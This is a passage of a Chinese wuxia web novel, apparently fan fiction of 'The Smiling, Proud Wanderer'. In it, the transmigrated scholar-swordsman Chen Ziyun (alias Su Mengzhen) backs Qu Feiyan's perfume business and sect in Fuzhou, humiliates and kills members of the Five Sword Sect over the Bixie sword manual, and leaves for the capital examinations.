曲非烟在确定自己想做一番事情的时候,她就知道自己将来要面对将会是什么样的场景。 所以在前面的一段时间里,她拼命的在习剑练武,丝毫不敢怠慢。以前她有曲洋这个魔教长老护着,如今她要靠自己给这些孩子撑起一片天来。 这一圈的拜码头,其实也是曲非烟亮本事的时候,想在江湖上立足,手里没有过硬的手段,一切都是空中楼阁,这一点福威镖局就是最好的前车之鉴。 曲非烟这一路打下来,有些人是被她打服了,技不如人自然甘拜下风;也有些人就算是输了,也依旧看不起她这样的一介女流;但最多的还是那些打算报团排斥金风细雨楼的人。 无他,为自身利益尔,就算是条狗,一个陌生人敢到它的饭盆里抢食也会咬你的,何况是人。 所以如今曲非烟就碰到了这样针对她的人,这些人也不明着来,因为他们怕着实打不过曲非烟。 可这些人本来就是福州城里的地头蛇,要给这新来的金风细雨楼找麻烦实在太简单了。 他们也不围着金风细雨楼所在的庄园,但是只要你敢派人出来,那他们就来找麻烦。 不是走到半路就掉进了陷阱,就是在福州城里购买物资的时候钱被偷了。还有更过分的,就是直接把物资掉包,等你拉回城外的庄园才知道,本来买的米粮却是不知道什么时候成了沙土。 这已经不是在为难了,而是一种侮辱,更是一种警告,这些抱团的江湖门派在示威。 就算你金风细雨楼的人能打又如何,在这福州城他们就是有本事让你连米都买不到,还让你连怎么被骗的都弄不清楚。 这着实把曲非烟气的差点就直接拿着剑杀上门去,好在被陈子云派过去的那些教师给劝住了。 有些个机警的,就连忙把这事情告知了陈子云。陈子云立刻就吩咐了福伯,让他去采购了两百石粮食先给城外的庄园送过去,这些粮食足够那百来号人吃个几个月了。 只有这些江湖门派找麻烦的事情,陈子云不好直接用官面上的力量施压,这样虽然能解决眼前的问题,却会给金风细雨楼带来无尽的麻烦。 一旦金风细雨楼被打上了勾结官府的名头,那在这江湖上怕是永远也难以立足了。 江湖自然有江湖自己的规矩,就算是被尊为国家供奉的武当,也是对朝廷保持着若即若离的态度,更不敢调用官府的力量来处理江湖上的事情。 其实所谓的江湖也没什么区别,只要是人就对名利二字无法割舍。以此,陈子云便给曲非烟出了一个主意,把一些现代制作高浓度香水的知识介绍了给她。 这个时代人们已经有了熏香的需求,可是由于工业水平的限制,人们还是滞留在简单的燃熏,或者是胭脂水粉的层次中。 如果曲非烟能提炼出香料精油,这将是一个足够支撑金风细雨楼发展的产业。而有了这样的财力支撑,只要曲非烟招招手,就有无数的所谓的江湖人来投靠。 后面不管她是分润利润一些给福州当地的帮派,还是直接一口气吞了他们,都可以。 第二十八章 五岳到福州 曲非烟也果然是聪慧过人,在年前就把这个时代第一瓶高浓度香水给制作了出来,当然她也成了第一个使用的人。 后面的事情也就简单了,陈子云在一场年前由福州高层组织的活动中,把这新鲜玩意儿当做礼物送给了各位官太太,大小姐。 第二天金风细雨楼出产的金风玉露就风靡了整个福州高层的生活圈子,那些没有收到陈子云的礼物的也纷纷上门。 随后五家分布在福州五个区域的细雨楼就一夜之间开业迎宾了,一开门就受到了所有上层女性的追捧。 但凡是能接触到上层阶级的女性,要是手上没个几种金风玉露,那你在聚会时都听不懂别人在说什么。 曲非烟在赚了大钱的同时,也根据计划招揽了不少闲散的江湖人,一方面是要保证各个细雨楼的安全,一方面也可以指导那些孤儿习武练功,也同时充当临时的战斗力。 曲非烟也清楚,这些人能为了钱财而为他所用,自然也会为了更多的钱财为他人所用。 只有这些自己带回来的孤儿,才是金风细雨楼以后真正的根底,所以对于这些人的培养,她可以说是不遗余力的。 有了这让人羡慕的经济来源,自然也引来不少人的窥视,官面上的自然由陈子云帮忙挡着。 而江湖上的,有些想参一股,有些就是直接上来明抢。那些明抢的基本都埋在了城外庄子的后院里;想参一股的,曲非烟根据这些人实力,给了些所谓的分红出去。 虽然这些的实力不见得就比现在的金风细雨楼强大,但是金风细雨楼再强也不可直接把福州的这些江湖势力都推平。 不要说江湖上的其他门派不会答应,就是连官方怕是也不会看着金风细雨楼这么胡来。他们更希望这些江湖门派保持一个可见的平衡,而不是一家独大。 这些时间曲非烟也收到了江湖消息,其中最重要的无非就是两件事。 第一件便是消失十二年的魔教前教主任我行重出江湖,在江湖上掀起了一片风雨。 第二件便是五岳剑派正向着福州而来,目标好像是林家的《辟邪剑谱》。 任我行的事情与他们无感,这个魔教前教主在曲非烟还在襁褓里的时候就消失了,也说不上交情。 至于这五岳剑派来福州,他们倒是要小心些,毕竟现在金风细雨楼练的可都是他们的剑法传承,要是被这些人看出了名堂,恐怕就要大战一场了。 而现在金风细雨楼的实力去硬抗五岳剑派明显是不现实的,所以为了吸引开五岳剑派的目光,陈子云自然就不得不出手了。 不过想来有《辟邪剑谱》吸引着,只要到时候陈子云稍微做下手脚,保证让这些人忙都忙不过来。 曲非烟立刻就吩咐了自己的子弟门人,这几天好好在福州城里盯着,但是绝对不能显露出五岳剑派的功夫。 没几天,陈子云就收到了曲非烟派人送来的消息,华山派和恒山派的人已经在福州里面了。 其他几派想必也应该已经到了,只是故意隐藏了自己的行踪,显然都是有着什么见不得人的勾当。 陈子云倒是没有着急莽荒的就行动,可有些事情就算你自己不主动,它也会自己找上门来。 一天他正好从外面赴宴回来,竟然在家门口遇见了来老宅找剑谱的林平之跟岳灵珊。 看着两人当时惊慌失措的摸样,陈子云也懒得招呼他们,自顾自的进了家门。 “小林子,他,他怎么在这里?” 岳灵珊有些颤巍巍的指着刚陈子云的宅院问道。 林平之也是深吸了一口,以此来缓和自己的心绪。 他可没忘记,当时这位苏梦枕是如何一刀压的的余沧海和木高峰不敢动弹的。 他本以为自己拜入了华山,只要自己努力练剑就能为父母报仇,也隐隐的有最好能报复一番这苏梦枕的意思。 可这些时间无论他如何的努力练剑,哪怕是日夜不息的练习,他到现在连一套华山剑法都还未练精。 而且这功夫越练,林平之就越能体会到这苏梦枕刀法到底是如何的恐怖。如果按照华山剑法这般的练下去,自己一辈子都无法望其项背,这也是他为什么一定要找到自己家《辟邪剑谱》的原因。 他现在也明白了,自己跟父亲练的辟邪剑法肯定是少了最关键的核心心法,而这心法一定就藏在这向阳巷老宅里。 不过,现在最大的可能是,这心法肯定是已经被这苏梦枕给得去了。他住的这般的近,又年纪轻轻就有了这般的修为,而且还声称欠了他们林家人情。 什么人情能让这姓苏的不惜奔波千里,除了这《辟邪剑谱》还能是什么? 林平之现在就恨不得冲进这宅院内跟这苏梦枕对峙,可是他知道如果这人愿意给,在衡山城的时候就给了,怎么会等到现在。 “平之,我们快回去吧。我爹爹说,苏梦枕这人亦正亦邪,武功又太高,我们最好躲着些。” 岳林姗在一旁却说道,眼里也透露着几分惧怕。 “对啊,我林平之不是这苏梦枕的对手,难道师傅还能斗不过他吗?还有他如今只是一个人,难道还能斗得过整个华山派?何况还有五岳剑派的同道在侧。” 林平之心里似乎找到对付苏梦枕的办法,眼睛也亮了起来。 这也不怪他,这几个月来,见识了岳不群的高深莫测的功夫,却是把他当成武林中的第一流人物了。 至于陈子云,毕竟那年纪摆在那里,而且过去了这么大半年,他也差不多忘了当时的威势,或者说,以林平之如今浅显眼力还看不懂这高手之间的差异。 所以林平之带着岳林姗一回到福威镖局,就将自己遇见了夺命书生苏梦枕的事情跟岳不群说了,还讲了些自己以为很是在理的分析。 反正就是一句话,他如今在向阳巷找不到自己家的《辟邪剑谱》,一定就是被这个近水楼台的无耻小人苏梦枕给提前偷去了。 岳不群刚听到苏梦枕又出现的时候也是心里一惊,不过他自然不会表现在脸上。 仔细的琢磨了一番林平之的话,他不由得摇摇头道:“平之,苏梦枕这人虽然品行有缺,但是他的刀法确实凌厉非凡。我跟五岳剑派的各位长辈们都推测过此人的来历,基本都认为这人很可能就是魔教暗中培养的暗子,为的就是出其不意的打击我们正道的力量。 可要说他这刀法的来历,却不应该是剑法改的,这其中的深奥道理,你功夫还没有练到一定层次,说了你也不会明白。” “可,师傅......” “好了,平之,你现在暂且不要轻举妄动,等我五岳剑派的人都到了福州,咱们再商议如何应对这夺命书生。” 林平之见岳不群目光已经变的凌厉便也只能住了口。 ...... 第二十九章 完璧归赵 陈子云也知道自己的身份这次怕是要暴露在五岳剑派的面前了,不过他也并不在意,要是他们敢动自己明面上的身份,那倒是还能让他高看他们一眼。 依旧是安安静静的在家里自顾自的读书写字,直到第二天的晚上,接二连三的有人从他宅子的屋顶上过去。 这让本来不想多管闲事的陈子云大为气愤,动不动的就往别人的头顶上过,当老子真的没脾气吗。 就在又一个所谓的高手正打算踏上他家屋顶的时候,陈子云直接从窗户里窜了出来,对着来人就是一刀。 本以为这一刀定然能给来人一个深刻的教训,没想到自己这必得的一刀竟然被人挡下了。 叮当一声,那来人竟然在仓促之间架住了陈子云的刀。 “苏.....” 那人似乎很是惊讶,不过随即陈子云出的第二刀,让他连开口的机会都没了。 相比于刚才玩闹一般的出刀,这一刀陈子云直接就冲着对方的脖子去的。 要是挡不住,那可就不怪我了,也让我瞧瞧同时学了独孤九剑跟吸星大法的令狐冲到底有几分能耐。 没错陈子云此时早就已经看清楚了来人,正是如今的华山弃徒令狐冲。 陈子云一刀两刀三刀,刀刀瞄准令狐冲的关键要害,更是一刀快过一刀,看着一步退步步退的令狐冲不由得摇头。 此时的他跟风清扬比实在是差的太多,独孤九剑只攻不守,料敌先机的必胜之心,他是一点都没有领会啊。只知道顾全自身,却没有一点锐意进取的意思,实在是浪费。 “躲什么,攻过来。” 陈子云不由得出声喝骂了一句。 令狐冲显然也是意识到了他自己的问题,可这有什么办法,他实在是被这苏梦枕以前给他的映像吓唬住了。 杀田伯光,又杀费彬,把自己在思过崖上耍的团团转,最后连自己敬为神人的太师叔风清扬都拿不下对方。 在令狐冲的心里,苏梦枕就好像成了一个难以逾越的鸿沟,一个跨不过去的梦魇。 可令狐冲终究是令狐冲,那种深埋在灵魂里的不羁,让他终究是能豁得出命去。 “破刀式。” 一声断喝,陈子云感觉到了令狐冲此时的决心,这一式独孤九剑也终于有了风清扬的几分风采。 “不差。” 随即陈子云反手一刀,直接把令狐冲手上的长剑砍成了两截。 令狐冲不可置信的看着自己手里的断剑,一时间竟不知道该如何反应,随即就是陈子云踢过来的一脚,直接把他踢下了屋顶。 “以后别随便上人家屋顶了。” 陈子云也没再管令狐冲,还有两个踩了自己屋顶又跑路的人,需要去找来算账。 这两个人不用想也是奔着林家的《辟邪剑谱》来的,那自然也跑不到别的地方去,肯定还在林家的老宅躲着。 等陈子云道了林家的老宅,却看到此时的林平之与岳灵珊都已经被点住了穴道,皆是动弹不得。 只见两人五十来岁的人正在屋内肆意的挥掌,一个秃头,另一个却满头白发。这佛堂中的一切事物都在那两人手下破碎。 而陈子云随手塞在那木鱼里面的《辟邪剑谱》自然也就暴露了出来。 那秃头老者满眼兴奋的捡起剑谱,大声的笑着,随即那白发老者也符合着。陈子云不由得腹诽一句,一份让人练成太监的剑谱,高兴个什么劲头。 “既然这么喜欢这剑谱,你们自己就不先来个一睹为快?” 陈子云从门后缓缓的走了出来。 那拿着剑谱的秃头来着连忙把袈裟藏进了自己的怀里,生怕好不容易得来的剑谱又被人抢去。 “阁下何人?” 那位白发老者不怀好意的看向突然出现的陈子云。 “苏梦枕,你不是说你欠了我们林家人情吗,你把这剑谱帮我抢回来,我就算你还了人情。” 林平之见突然出现的陈子云,就像是捉到了最后的救命稻草。 “你就是夺命书生?” 那两位老者连忙退开了几步,如今苏梦枕在江湖上的名声可不怎样,尤其是这人还跟嵩山派为难,可无奈何这人功夫着实太高,如何能叫他们不紧张。 陈子云没有理会这两个貌似是嵩山派外围人员的老者,而是对着林平之认真的说道。 “欠你们林家的人情,在衡山城外的破庙里我就已经还清了。” “不,你没有,我父母还是死了。苏梦枕,你偷学了我林家辟邪剑谱,难道就值这点人情?“ 林平之有些色令内荏的说道。 “什么,你练了辟邪剑谱?” 秃头老者惊讶的指着陈子云道。 “林平之,谁告诉你我学了这辟邪剑谱的?” “姓苏的,难道你敢发誓你没有看过这辟邪剑谱吗?” 林平之此时也不知道是哪里来的勇气,竟然敢如此质问陈子云。 “没错,我确实看过这辟邪剑谱,但我永远也不会学这剑谱上的功夫,因为我看不上。” “你胡说,我林家先祖曾以此称雄江湖,你凭什么看不上。姓苏的你竟然承认偷学了我林家的剑谱就给我把剑谱夺回来,否则你永远还不清你签下的人情债。” 此时的林平之双眼已经泛红,他此时对这苏梦枕的恨意甚至超过了那两个抢他剑谱的老者。 “是不是胡说,你自己看了就知道。” 陈子云一步就跨过了与那两个老者之间的距离,再跨出一步就已经来到了林平之的面前。 而此时他手上却多了一样东西,正是那一件红色的袈裟。 “你,你......” 秃头老者似乎也发现自己丢了剑谱,可他此时已经说不出话来,因为不知道何时他的喉咙上已经多了一道血痕,薄且深。 旁白的白发老者也发现了端倪,可随即一低头,却再也抬不起头来。 随着两具尸体的跌落,陈子云也把手上的袈裟展开给林平之看了。 林平之满头的冷汗,甚至连这他朝思暮想的家传剑谱放在面前也无法集中精神。 “你,你何时出的刀?” “我说了,你能明白吗?” 陈子云这句话,无疑是对林平之最大的羞辱。 “不可能,不会的,这不是真的,你骗我,肯定是你改了这剑谱,把真的剑谱还给我。” 林平之看刀了《辟邪剑谱》开头的几个字,就再也看不下去了。他如何能相信这世间会有这样残忍的剑谱,更不能也不愿意相信他的先祖竟然是个阉人。 “小林子,小林子,你怎么了,是不是这个姓苏的欺负你了。” 岳灵珊因为被点穴道的时候的位置不同,并看不到此时林平之的情况,听到林平之的哭嚎之声,只以为是遭了苏梦枕的毒手了。 陈子云把袈裟叠好,塞进了林平之的胸口。 “东西我完璧归赵了,练不练你自己选,就是可惜了岳大小姐了。哈哈哈,《辟邪剑谱》,害人不浅哦。” 第三十章 找上门 其实陈子云早就已经断定了,林平之此时身负血海深仇,怎么可能忍得住不练这《辟邪剑谱》,不过是早晚的事情罢了。 本来如果林平之客气一些,他还可能会直接毁了这害人的东西。可看他捉着人就咬的德性,那就索性成全他一把,亲自把这他苦苦搜寻的宝贝交到他手上。 陈子云做完这一切变心情大好的回去了,至于林平之跟岳灵珊身上的穴道,自然会有人来帮他们解,不用他费心。 第二天,五岳剑派的人果然找上门了,岳不群与嵩山的三个太保带头,身后跟着一群的弟子门人,气势凶凶的来到了这福州向阳巷。 可惜,他们却是连敲门的机会都没有,因为此时陈家大宅的门口正有一队福州地方的卫兵守护着。这些卫兵背弓跨刀气势非凡,一看就知道是真正的百战之兵。 这些人自然是陈子云发动关系,找相熟的军方大人物借来的,为此他可是花费了不少犒劳金,不过好在物超所值。 还没等岳不群等江湖人士靠近,带队的小队长直接就拔刀上前,拦住还想靠近陈宅的众人。 “军事重地,不得靠近,违令者斩。” 虽然这小队长练的只是军伍里的技艺,可伴随着他一身的戾气,这一声警告竟然让这些所谓的江湖人也是动色三分。 岳不群与嵩山派的太保对视了一眼,都在困惑为什么这苏梦枕的府邸成了什么军事重地。 但是面对官府的地方正规军,他们也不敢怠慢,岳不群不得已扯出一个勉强的笑脸恭敬的问道:“这位军爷,我等是这户姓苏人家的相熟,不知这里为何成了军事之地?” 可那小队长并没有回答,而是在岳不群刚想再次靠近些的时候,所有的卫兵同时拔刀出鞘,那声势让后面跟着年纪小的弟子们,吓得直接差点就连手里的剑都扔了。 “退,退,退。” 随着众卫兵的齐声大喝,有些人已经受不了,直接小跑着从后面出了向阳巷。 这些江湖中人,单打独头可能都能赢过这些卫兵,可一旦形成了军阵,根本不懂得协作的这些人只能跑路。 “岳掌门,事不可为,先回去再商议。” 嵩山派的太保们也看出了此时的处境,心生退意。 岳不群乘着掌门的气度,对着众卫兵行了一个告辞礼,匆匆的带着人回到了福威镖局。 几位带头的人在大厅里坐定,互相看着,一时想不明白为什么一个江湖人物怎么还能受到官府军队的庇护。 “岳先生,莫不是这人也学了那衡山的刘正风,花钱买了个官当。” 钟镇不无无恶意的撺掇道。 衡山刘正风的事情已经成了江湖上所有人的教训,但凡有点跟这事情车扯上联系的都被看做是邪魔之徒。 而这苏梦枕如果也学了刘正风,那他不是魔教中人,也肯定是跟刘正风一样勾结了魔教。 这逻辑自然是狗屁不通的,但是大多数时候,江湖上只听消息是谁放出来的,并不真的有能力去辨别真假。 要是这消息是所谓的名门正派放出来的,那必然是真的;如果是那些邪魔外道传出来的,那肯定是心怀不轨,污蔑好人的。 岳不群其实也不懂朝廷的这些兵制,只是看这些在陈子云门前的这些悍卒与来给刘正风捧场的那些草包截然不同,有些不敢确定钟镇的话。 不过也不用再费他们什么心思了,因为此时他们想着要怎么对付的人已经自己找上门了。 陈子云之所以找人护住自己的家宅,并不是他怕了这五岳剑派的人,只是不希望这些江湖泥腿子扰了家里的清净。 既然这些人想找自己的麻烦,他又如何能不回报一番。 福威镖局此时大门四开,陈子云施施然的从正门而进,那管门房的这几天见多了出入自如的江湖中人。万一冲撞了这些人,自己的老骨头可吃罪不起,索性就放任自流。 而且他此时见陈子云仪表非凡,又是一副大老爷摸样,自然也不敢上前询问。 而这宅子里江湖子弟众多,但是真正能认识陈子云的却是没几个,只是都觉得这人面生,想着可能是福州的本地人物,又是来拜访他们师傅师叔的,也没管他。 所以直到坐在正厅上首的岳不群,真真切的看到了陈子云,才惊的从椅子上站了起来。 众人自然朝着他的目光望去,才知道他们要找的苏梦枕竟然自己上门来了。 所有人都全神戒备,嵩山派的三位更是直接把手搭在了兵刃上。 还是岳不群还能藏得了心情,脸上随即正肃的问道:“苏少侠,来的正好,我五岳剑派刚好有两位前辈死在了尊府附近,正想叨扰一番。” 岳不群明显是想把矛盾都归到了苏梦枕杀了白头仙翁’卜沉和‘秃鹰’沙天江的事情上,主要矛盾由嵩山派的来承担,他们华山派只是在给嵩山派助拳的。 “岳师兄何必藏着,明明是令徒林平之亲眼所见,就是这位苏梦枕,我那两位师兄就是被他所杀,如今大敌当前。岳师兄可别忘了咱们五岳剑派同气连枝的情谊。” 钟镇明显不想让华山派独善其身。 陈子云微笑着看着这些表面上相亲相爱,实际上都恨不得对方去死的江湖人相互挖坑。 “没错,师父,就是这苏梦枕杀了那两位前辈。” 此时本来跟岳灵珊一起站在后面的林平之突然开口说道。 “闭嘴。” 岳不群怒喝一声。 宁中则皱皱眉头看了林平之一眼,他一开始就不喜欢这个长得过于好看的弟子,只是因为自己女儿喜欢。 如今在这种场合,竟然开口帮着嵩山派说话。难道他不知道如果不是苏梦枕,他很可能就直接被那两个什么白头,秃鹰的给杀了吗? 甚至还会搭上自己宝贝女儿的命,这让宁中则也狠狠的瞪了林平之一眼。 “还请苏少侠见谅,岳某人教徒不严,冲撞了少侠。” 岳不群抬手对着陈子云拜了拜,歉意的道。 陈子云若有其事的点头道:“岳先生,在江湖上的名声倒是好的,可惜这教徒弟的本事确实差了些。前面有个放荡不羁的令狐冲,如今又来个不明事理,一心只想报仇的林平之。如此下去,华山百年基业,传承堪忧啊。” 陈子云的这句话直接就戳到了岳不群的心坎子上,想来他这一身奋斗都不过是为了完成自己师傅的遗命。甚至为了让华山取代嵩山成为五岳盟主,最后不惜自宫练剑。 第三十一章 力压五岳 “哼,多谢苏少侠的好意,华山派的传承却也不需要外人指手画脚。” 宁中则自然明白自己丈夫这些年的艰难,见陈子云如此说话,直接山前一步,很不客气的怒视陈子云道。 陈子云打量了这一位笑傲江湖中有名的中年美妇,不由得暗自点头,若是这位年轻的时候,怕是比岳灵珊还要出色几分。 “宁女侠说的是,华山派的事情,确实不应该由在下来管。但要是有人私闯在下家宅,这件事你说苏某是不是该来讨个公道?” “谁私闯你家宅了,我们不是都没能进去吗?” 这却是岳灵珊见不得自己父母都被这苏梦枕欺负,出口道。 陈子云听了轻笑一声。 “今天你们自然是进不去的,可昨天晚上你们五岳剑派的人却是接二连三的未经苏某允许,擅入我府,还胆大包天的从苏某头顶上过去。 如此行径,你们这些名门正派跟那些不请自来的飞贼强盗又有何不同。” “你胡说,谁是飞贼,谁是强盗?” 这话岳灵珊自然是不信的,只以为是着苏梦枕在嫁祸栽赃。 “我嫁祸,令狐冲何在,问问他昨晚是不偷上了我家屋顶,才被我打下来的。” “好啊,原来是你伤的大......令狐冲。” 岳灵珊知道此时自己已经不能再叫大师兄了,连忙改口道。 “灵珊退下,这里哪有你说话的份。” 岳不群开口喝道,随即又正色跟陈子云道:“苏少侠,还望知道,令狐冲已经与我华山派毫无瓜葛了,如果是他冒犯了少侠,要杀要剐我华山派绝无二话。” “师兄.....” 宁中则正要开口,却被岳不群一个严厉的眼神制止了。 “好,既然有岳先生这句话,那华山派的管教之责,苏某也就不追究了。可是听说还有两位贼人是嵩山派的,三位太保是也不是?” 陈子云随即看向一脸紧张的嵩山三位。 “胡说八道,我嵩山派乃是五岳盟主,正派领袖,如何会有贼人!” 执鞭的邓八公大声喝道。 “不错,明明是你在林家老宅,为了抢夺《辟邪剑谱》,杀了我们派遣去帮助林家后人的两位师兄,竟然在这里恶人先告状。苏梦枕,你好不要脸。” 高克新附和着说道。 “呵呵呵,哈哈哈哈,嵩山派啊嵩山派,好个五岳盟主,这颠倒黑白的功夫倒是比手上的功夫要娴熟的多。 我还以为你们嵩山派在衡山城中的表演已经是一绝,不曾想到还有一天会轮到我苏某人头上。” 陈子云忍不住的哈哈哈大笑。 众人却是被他笑的发慌。 “你笑什么,有理无理自有公论。当时岳师兄的爱女与林家的后人都在,到底谁真谁假,问问他们不就知晓了。” 钟镇强压着自己心里的不好预感,扯着脖子要把华山派拉下水。 岳不群自然是气的不行,可这时他又如何能直接反驳嵩山派,到时候一个破坏五岳团结的名头扣下来,那不是被左冷禅拿捏的死死的。 “我当时被......” 岳灵珊正要说明当时的情况,却被旁边的林平之一把握住了手,这让她一惊,可随即想到这里这么多外人在场,脸瞬间红到了耳根,连自己刚才要说什么都忘了。 “这三位嵩山派的师叔说的不错,那两位前辈见我跟师姐在佛堂里找遍了都没能找到剑谱,正帮忙找着。 结果正是这位苏梦枕不由分说的冲进来,直接就将两位前辈给杀了,还抢走了我林家的《辟邪剑谱》。” 林平之正正有词的指着陈子云说道。 原来那天陈子云走后,宁中则找了过来,给两人解开了穴道。但是他如今也不是那个不懂世事的纨绔子弟了,自然知道怀璧其罪的道理。 不论这《辟邪剑谱》他练不练,都不能让别人知道,这剑谱就在他手里。好在岳灵珊因为被点穴候的角度问题,并没有看到苏梦枕把袈裟放到他身上。 按照岳灵珊对林平之的情意,在他的几句花言巧语之下,自然就把那晚上的事情掩盖了过去。 而他则是在回福威镖局的路上,找了个借口把这袈裟藏到了一个只有他知道的地方。 后面回来报告岳不群的口径,也是这袈裟是被苏梦枕给抢去了,如今对方找上门来,他自然正好借此机会把这个事情坐实了。只要他一口咬定,就算是苏梦枕有十张嘴也解释不清。 “哈哈哈,姓苏的,看你还有何话好说,还不将林师侄家的剑谱交出来。” 钟镇大笑的说道,脸上满是得意。 可突然间,众人就见到一片白芒闪过,所有人都是惊骇莫名,他们怎么也没想到,苏梦枕竟然会在此时动手。 “小心。” “师兄。” 嵩山派三人举剑的举剑,执鞭的出鞭,竟然还有一个情急之下出掌应对的。 只听得叮叮当的几声响动。 剑断了,鞭折了,手掌自然也没了。 “啊.....” 高克新抱着自己的断掌惨叫,邓八公握着自己半截的鞭子发呆,而钟镇却是不止被陈子云砍断了剑,连头颅也一起斩下来了。 华山派众人见此情形,都激动的拔出了剑,不过没有一个敢上来的,只是都持剑自护,生怕这一言不合就斩人的疯子向他们而来。 岳不群与宁中则护在华山弟子的前面,手里却都是冷汗,因为他们清楚,自己没有丝毫的把握能挡下如此惊人的刀法。 “哎,可惜了,这刀也就到此了。” 陈子云看着手里这把从田伯光手上抢来的刀,如今却已经是受损严重,再也不堪他的使用了。 看来要加紧寻找那种材料了,要不然每次都要换刀,实在麻烦。 陈子云随即把这刀扔在了一边,这刀落地的哐啷声又是惊吓了众人。 陈子云笑着看了众人一眼,在目光扫过林平之的时候,故意眯了眯眼,看着他那浑身发抖的怂样,不由得没了再调戏一番他的心思。 “诸位不用害怕,苏某今天本来就是来论理,讨公道的。只是这位姓钟的着实让人讨厌,才一下子没收住手。 各位放心,苏某不是嗜杀之人。说起来苏某在福州也算是半个东道主,以后大家要是碰到了什么麻烦。 或者是遇到了类似苏某昨夜遇到的事情,一定要来告知苏某,苏某必然为各位讨个公道。 更要让那些为非作歹的贼人知道,善恶到头终有报,老天不报,苏某来报。” 陈子云神色严厉的说完,便正了正衣冠,合手下拜道:“如此,还请各位谨记,苏某告辞。” 说完便转身离去,只留下一地的鲜血与满眼莫名其妙的众人,画面里荒诞感十足。 ...... 第三十二章 上京 经过陈子云这一番的折腾,五岳剑派哪里还有留在福州的胆量。不久曲非烟那边就传来的消息,五岳剑派的人着急忙慌的都出了城,也不知道是出了什么事情。 陈子云得了这消息也就不再管他,嘱咐曲非烟一句,让她好好发展金风细雨楼就是,别管其他。 而他自己,一方面要准备来年开春之后的上京城参加会试,现在又是春节将近,各种宴请也都比平时多了不少。 陈子云作为现在的年轻一届的热门人物,自然收到了各层人士的关注。从现在到年底,他最少还要参加不下十场各种形式的聚会。 这还是他把那些能推却的都推了之后的,要是所有的宴请都去参加,估计他就是从现在排到年底都轮不过来。 如此日子一天天的过去,福州城里的年味也越来越浓,曲非烟现在的金风细雨楼在福州地界也是越来越稳当了。 趁着这机会,曲非烟在福州城的西北角直接买下了几座闲置的高楼,把里面着实布置了一番,又买了附近的几十亩土地,建了一堵围墙,把这几座楼都围了起来。 在年前,金风细雨楼正式挂牌福州城,当地算得上档次的江湖人物都来了。 不管之前的关系如何,现在金风细雨楼财源广进,势力也日益膨胀,谁也不想被这样前途无量的势力针对。 有些脸皮厚的,还直接在众人面前提出自己以前是瞎了眼蒙了心,才敢与金风细雨楼过不去,现在希望曲非烟能大人大量。 曲非烟如今也成熟了不少,自然也知道这就是江湖常态,没有人愿意为一件没有任何好处的事情得罪人,既然他们金风细雨楼立起来了,这些人再挣扎也讨不到半分好。 她也是大手一挥,说了句不打不相识的漂亮话,就把以前的事情都就此揭过了。 这自然让许多到场的人都心里安生了不少,他们就怕曲非烟年少不懂事,非要吵嚷着要他们难堪。 一顿虚情假意的酒宴之后,曲非烟有些疲累的上了五座楼中最高楼的顶楼。这里正有个书生一边喝酒一边欣赏着不远处已经初露年味的福州城。 “人都走了。” “嗯,要紧的都送走了,剩下的也不用我招呼。” “先过来喝碗醒酒汤,你一个女孩子喝这么多酒干嘛!” “可江湖上的往来,不就是喝酒吃肉吗?” “江湖上的规矩,又不是金风细雨楼的规矩,你理会他做什么?” “陈大哥,你好霸道哦。不过早晚有一天,这福州成的江湖,要听金风细雨楼的规矩。” “哈哈哈,好。大哥等着这一天。” 曲非烟喝了陈子云递过来的醒酒汤,陪他一起坐着,看着窗外星星点点的灯火。 在一片忙忙碌碌中,陈子云过了来到这个世界的第一个春节,不过他这个年不是在福州城里过的,而是被陈氏家族请回了乡下。 世家大族过年跟一般人家过年可大不一样,一般人家最多就给自己家长辈磕个头,领个压岁钱。 而在大氏族中,这个给长辈磕头就变成了最隆重的祭祖仪式,一年一小祭,五年一大祭。 由族里最有名望的几位老人带头,家族里全部的男丁都要强制参加,不来的可能直接被清出族谱。 这样的大型祭祖,族里面从一个月前就开始准备了,祭祀祖先用的牺牲这些更是早早的就找了专门的人家饲养了半年。 而到了祭祖的这一天,整个陈氏家族盘踞的村落,就像是着了火一般,烟雾从祠堂里开始弥漫,直接覆盖了整个村子。 陈子云被推举他们这一辈的领头人,无他,此时族里都看好他的前景,好几个同样地位不凡的长辈也抢着跟他来攀交情。 谁都知道,他们福州这一支陈家要是能在最近几年出一位当朝大员,希望就放在陈子云身上了。 在这个时候,只要陈子云敢开口,家族子弟能帮上忙的绝对都不会拒绝。因为他们知道,只要陈子云一旦正式出仕,陈氏家族在福州的声望与话语权就会再上一个台阶。 那他们这些同族的人,自然也随着水涨船高,甚至都不用他们说什么,但凡知道这个情况的圈内人,自然而然的就高看一眼。 一些本来他们接触不到的人,也会有机会拜见;一些他们本来拿不到的资源,也可以去竞争了;这些就是所谓的一人得道鸡犬升天,而且这些还甚至不需要陈子云亲自出面。 所以在这祭祖的几天里,陈子云几乎都是天天喝的迷迷糊糊,就算他武艺不凡,也顶不住自己家族里这些长辈们的热情。 到最后,陈子云看见酒菜几乎就想吐了,才找了个理由,说是要准备上京赶“春闱”了,向陈氏族长跟三叔公告了罪要先行。 这个理由放在这个时代当然是无敌的,谁也不敢在这件事情怠慢。为了一路上照顾陈子云,族长还亲自点名派了两个小辈跟着伺候,还大手一挥用族里的公产承担了他上京的一切费用。 陈子云自然不缺这点钱,也不需要什么人伺候,但是面对族长老爷子那慈祥中不容拒绝的威仪,他只能千恩万谢的收下。 钱他连数都没数,倒是直接跟他回来的两个小辈,看着到都是挺机灵的模样。一个叫陈钰,一个叫陈秋,都是十三四岁的年纪。 论辈分讲,都应该叫陈子云一声叔叔,但是出门不便,陈子云就嘱咐他们叫他公子更方便些。 两人都读了一些书,而且也有些天赋,等明年就可以参加童子试了,如今被族长派来跟着陈子云,也是想让他有空帮着教教他们俩。 福伯给陈子云收拾好了行李,因为考虑到北方的冬天会比福州的冷好些,还故意托人买了平时基本没机会穿的厚实皮草。 套了两辆大马车,一辆是给陈子云,一辆用来放行李跟临时给两个小家伙住的。这一趟出门陈子云没带上曲非烟跟福伯,一个是需要掌控金风细雨楼,一个实在是年岁大了不合适远行。 陈钰给陈子云驾着马车,陈秋也在后面自己架着一辆,两辆大车缓缓从福州城城门驶出,朝着帝都而去。 这次陈子云规划的路线没有再往南昌,而是一路经杭州,过南京,最后取道山东入河北。 这一路因为都是陆路马车,虽然走的舒服了,可着实费了好些时间。自然,这其中也有陈子云停下来一路赏玩路边的美景所致。 第三十三章 惊马 等他们到了京城,已经是一个半月之后了,临着二月中旬的“春闱”已经是没有多少日子了。 这对于一般的赶考士子来讲就有些过分了,他们哪个不是为了这次会试,早早的就来京城里待着了。 一方面是早日熟悉考场氛围,一边也要结实更多同仁打听交流,今年最有可能考到的题目。 